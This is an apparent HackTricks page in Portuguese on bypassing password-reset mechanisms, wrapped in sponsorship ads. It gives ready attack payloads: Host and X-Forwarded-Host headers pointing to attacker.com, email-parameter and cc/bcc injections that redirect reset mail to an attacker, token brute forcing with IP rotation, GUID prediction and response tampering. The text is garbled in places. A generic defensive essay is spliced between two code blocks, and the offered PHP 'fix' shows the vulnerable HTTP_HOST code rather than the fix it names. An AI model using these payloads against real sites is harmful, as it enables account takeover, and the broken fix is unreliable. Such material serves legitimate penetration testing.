# Bypass de Redefinição/Esquecimento de Senha
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com) * **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
**HackenProof é o lar de todas as recompensas por bugs de criptografia.** **Seja recompensado sem atrasos**\ As recompensas do HackenProof são lançadas apenas quando os clientes depositam o orçamento de recompensa. Você receberá a recompensa após a verificação do bug. **Adquira experiência em pentesting web3**\ Protocolos de blockchain e contratos inteligentes são a nova Internet! Domine a segurança web3 em seus dias de ascensão. **Torne-se a lenda do hacker web3**\ Ganhe pontos de reputação com cada bug verificado e conquiste o topo do leaderboard semanal. [**Cadastre-se no HackenProof**](https://hackenproof.com/register) comece a ganhar com seus hacks! {% embed url="https://hackenproof.com/register" %} As seguintes técnicas de recomposição foram retiradas de [https://anugrahsr.github.io/posts/10-Password-reset-flaws/](https://anugrahsr.github.io/posts/10-Password-reset-flaws/) ## Vazamento de Token de Redefinição de Senha via Referer O **referer HTTP** é um campo de cabeçalho HTTP opcional que identifica o endereço da página da web que está vinculada ao recurso solicitado. O cabeçalho de solicitação Referer contém o endereço da página da web anterior a partir da qual um link para a página atualmente solicitada foi seguido. ![](https://www.optimizesmart.com/wp-content/uploads/2020/01/1-1-2.jpg) ### Exploração * Solicite a redefinição de senha para o seu endereço de e-mail * Clique no link de redefinição de senha * Não altere a senha * Clique em qualquer site de terceiros (por exemplo: Facebook, Twitter) * Interceptar a solicitação no proxy Burpsuite * Verifique se o cabeçalho referer está vazando o token de redefinição de senha. ### Impacto Isso permite que a pessoa que tem controle sobre um determinado site altere a senha do usuário (ataque CSRF), porque essa pessoa conhece o token de redefinição de senha do usuário. ### Referência: * https://hackerone.com/reports/342693 * https://hackerone.com/reports/272379 * https://hackerone.com/reports/737042 * https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a * https://medium.com/@shahjerry33/password-reset-token-leak-via-referrer-2e622500c2c1 ## Envenenamento de Redefinição de Senha Se você encontrar um ataque de cabeçalho de host e estiver fora do escopo, tente encontrar o botão de redefinição de senha! ![](https://portswigger.net/web-security/images/password-reset-poisoning.svg) ### Exploração * Interceptar a solicitação de redefinição de senha no Burpsuite * Adicione o seguinte cabeçalho ou edite o cabeçalho no Burpsuite (tente um por um) ``` Host: attacker.com ``` ``` Host: target.com X-Forwarded-Host: attacker.com ``` ``` Host: target.com Host: attacker.com ``` * Verifique se o link para alterar a senha dentro do e-mail está apontando para attacker.com ### Correção Use `$_SERVER['SERVER_NAME']` em vez de `$_SERVER['HTTP_HOST']` ```php $resetPasswordURL = "https://{$_SERVER['HTTP_HOST']}/reset-password.php?token=12345678-1234-1234-1234-12345678901"; ``` ### Impacto A vítima receberá o link malicioso em seu e-mail e, ao clicar nele, irá vazar o link / token de redefinição de senha do usuário para o atacante, resultando na tomada completa da conta. ### Referência: * https://hackerone.com/reports/226659 * https://hackerone.com/reports/167631 * https://www.acunetix.com/blog/articles/password-reset-poisoning/ * https://pethuraj.com/blog/how-i-earned-800-for-host-header-injection-vulnerability/ * https://medium.com/@swapmaurya20/password-reset-poisoning-leading-to-account-takeover-f178f5f1de87 ## Redefinição de Senha Manipulando o Parâmetro de E-mail ### Exploração * Adicione o e-mail do atacante como segundo parâmetro usando & ```php POST /resetPassword [...] email=victim@email.com&email=attacker@email.com ``` * Adicione o email do atacante como segundo parâmetro usando %20 ```php POST /resetPassword [...] email=victim@email.com%20email=attacker@email.com ``` * Adicione o email do atacante como segundo parâmetro usando | ```php POST /resetPassword [...] email=victim@email.com|email=attacker@email.com ``` * Adicione o email do atacante como segundo parâmetro usando cc ```php POST /resetPassword [...] email="victim@mail.tld%0a%0dcc:attacker@mail.tld" ``` * Adicione o email do atacante como segundo parâmetro usando bcc ```php POST /resetPassword [...] email="victim@mail.tld%0a%0dbcc:attacker@mail.tld" ``` * Adicione o email do atacante como segundo parâmetro usando , ```php POST /resetPassword [...] email="victim@mail.tld",email="attacker@mail.tld" ``` * Adicione o email do atacante como segundo parâmetro no array json ```php POST /resetPassword [...] {"email":["victim@mail.tld","atracker@mail.tld"]} ``` ### Referência * https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be * https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/ * https://twitter.com/HusseiN98D/status/1254888748216655872 ## Alterando o Email e a Senha de qualquer Usuário através dos Parâmetros da API ### Exploração * O atacante deve fazer login em sua conta e ir para a função de alteração de senha * Inicie o Burp Suite e intercepte a solicitação * Após interceptar a solicitação, envie-a para o repetidor e modifique os parâmetros Email e Password ```php POST /api/changepass [...] ("form": {"email":"victim@email.tld","password":"12345678"}) ``` ### Referência * https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240 ### Sem limite de taxa: Bombardeio de e-mails ### Exploração * Inicie o Burp Suite e intercepte a solicitação de redefinição de senha * Envie para o intruder * Use uma carga nula ### Referência * https://hackerone.com/reports/280534 * https://hackerone.com/reports/794395 ## Descubra como o Token de Redefinição de Senha é Gerado Descubra o padrão do token de redefinição de senha ![](https://encrypted-tbn0.gstatic.com/images?q=tbn%3AANd9GcSvCcLcUTksGbpygrJB4III5BTBYEzYQfKJyg\&usqp=CAU) Se for * Gerado com base no timestamp * Gerado com base no ID do usuário * Gerado com base no e-mail do usuário * Gerado com base no nome e sobrenome * Gerado com base na data de nascimento * Gerado com base em criptografia Use o Burp Sequencer para encontrar a aleatoriedade ou previsibilidade dos tokens. ## GUID Adivinhável Existem diferentes tipos de GUIDs: * **Versão 0:** Apenas visto no GUID nulo ("00000000-0000-0000-0000-000000000000"). * **Versão 1:** O GUID é gerado de maneira previsível com base em: * O horário atual * Uma "sequência de relógio" gerada aleatoriamente que permanece constante entre os GUIDs durante o tempo de atividade do sistema gerador * Um "ID de nó", que é gerado com base no endereço MAC do sistema, se estiver disponível * **Versão 3:** O GUID é gerado usando um hash MD5 de um nome e namespace fornecidos. * **Versão 4:** O GUID é gerado aleatoriamente. * **Versão 5:** O GUID é gerado usando um hash SHA1 de um nome e namespace fornecidos. É possível dar uma olhada em um GUID e descobrir sua versão, há uma pequena ferramenta para isso: [**guidtool**](https://github.com/intruder-io/guidtool)\*\*\*\* ```http guidtool -i 1b2d78d0-47cf-11ec-8d62-0ff591f2a37c UUID version: 1 UUID time: 2021-11-17 17:52:18.141000 UUID timestamp: 138564643381410000 UUID node: 17547390002044 UUID MAC address: 0f:f5:91:f2:a3:7c UUID clock sequence: 3426 ``` Se a versão utilizada para gerar um GUID de redefinição de senha for a versão 1, é possível realizar um ataque de força bruta nos GUIDs: ```http guidtool 1b2d78d0-47cf-11ec-8d62-0ff591f2a37c -t '2021-11-17 18:03:17' -p 10000 a34aca00-47d0-11ec-8d62-0ff591f2a37c a34af110-47d0-11ec-8d62-0ff591f2a37c ``` ### Referências * [https://www.intruder.io/research/in-guid-we-trust](https://www.intruder.io/research/in-guid-we-trust) ## Manipulação de resposta: Substituir uma resposta ruim por uma boa Procure por solicitações e respostas como estas ```php HTTP/1.1 401 Unauthorized (“message”:”unsuccessful”,”statusCode:403,”errorDescription”:”Unsuccessful”) ``` # Redefinir Senha Quando um usuário esquece sua senha, é importante fornecer um mecanismo seguro para redefini-la. No entanto, se esse mecanismo não for implementado corretamente, pode abrir brechas de segurança que podem ser exploradas por hackers. ## Verificação de E-mail Uma abordagem comum para redefinir senhas é enviar um e-mail para o endereço associado à conta do usuário. Esse e-mail geralmente contém um link exclusivo que permite ao usuário redefinir sua senha. Ao implementar essa funcionalidade, é fundamental garantir que o link de redefinição de senha seja válido apenas por um período limitado e que expire após o uso. Isso evita que um link antigo seja usado por um invasor para redefinir a senha de um usuário. ## Proteção contra Ataques de Força Bruta Para evitar ataques de força bruta, é recomendável implementar medidas de proteção, como limitar o número de tentativas de redefinição de senha em um determinado período de tempo. Além disso, é importante usar mecanismos de autenticação robustos, como CAPTCHA, para verificar se o solicitante é um humano legítimo. ## Vazamento de Informações Ao lidar com solicitações de redefinição de senha, é importante ter cuidado para não revelar informações sensíveis. Por exemplo, se um usuário inserir um endereço de e-mail inválido, a resposta não deve indicar explicitamente que o endereço de e-mail não existe em seu sistema. Em vez disso, uma mensagem genérica deve ser exibida para evitar vazamento de informações. ## Testando a Funcionalidade de Redefinição de Senha Durante um teste de penetração, é essencial verificar se a funcionalidade de redefinição de senha é segura. Isso pode ser feito tentando explorar possíveis vulnerabilidades, como links de redefinição de senha que não expiram ou não são exclusivos. Além disso, é importante verificar se as medidas de proteção contra ataques de força bruta estão funcionando corretamente. ## Conclusão A redefinição de senha é uma funcionalidade crítica em muitos sistemas. Ao implementá-la, é fundamental seguir as melhores práticas de segurança para garantir que os usuários possam redefinir suas senhas de forma segura e que a funcionalidade não seja explorada por hackers. ```php HTTP/1.1 200 OK (“message”:”success”,”statusCode:200,”errorDescription”:”Success”) ``` ### Referência * https://medium.com/@innocenthacker/como-encontrei-o-bug-mais-crítico-em-um-evento-de-recompensa-por-bugs-ao-vivo-7a88b3aa97b3 ### Usando Token Expirado * Verifique se o token expirado pode ser reutilizado ### Força Bruta no Token de Redefinição de Senha Tente fazer força bruta no token de redefinição usando o Burpsuite ```php POST /resetPassword [...] email=victim@email.com&code=$BRUTE$ ``` * Use o IP-Rotator no burpsuite para contornar o limite de taxa baseado em IP. ### Referência * https://twitter.com/HusseiN98D/status/1254888748216655872/photo/1 ### Tente Usar Seu Token * Tente adicionar o token de redefinição de senha com a conta da vítima. ```php POST /resetPassword [...] email=victim@email.com&code=$YOUR_TOKEN$ ``` ### Referência * https://twitter.com/HusseiN98D/status/1254888748216655872/photo/1 ## Invalidação de Sessão no Logout/Reset de Senha Quando um usuário faz logout ou reseta sua senha, a sessão atual deve ser invalidada.\ Portanto, capture os cookies enquanto o usuário estiver logado, faça logout e verifique se os cookies ainda estão válidos.\ Repita o processo alterando a senha em vez de fazer logout. ## Tempo de Expiração do Token de Reset Os tokens de reset devem ter um tempo de expiração, após o qual o token não deve ser válido para alterar a senha de um usuário. ## Verificações Extras * Use username@burp\_collab.net e analise o retorno * Usuário com cópia oculta de email=victim@mail.com%0a%0dcc:hacker@mail.com * Senha longa (>200) causa DoS * Acrescente um segundo parâmetro de email e valor
**HackenProof é o lar de todas as recompensas por bugs de criptografia.** **Seja recompensado sem atrasos**\ As recompensas do HackenProof são lançadas apenas quando os clientes depositam o orçamento de recompensa. Você receberá a recompensa após a verificação do bug. **Adquira experiência em pentesting web3**\ Protocolos de blockchain e contratos inteligentes são a nova Internet! Domine a segurança web3 em seus dias de ascensão. **Torne-se a lenda dos hackers web3**\ Ganhe pontos de reputação com cada bug verificado e conquiste o topo do leaderboard semanal. [**Cadastre-se no HackenProof**](https://hackenproof.com/register) e comece a ganhar com seus hacks! {% embed url="https://hackenproof.com/register" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? Ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com) * **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo Telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).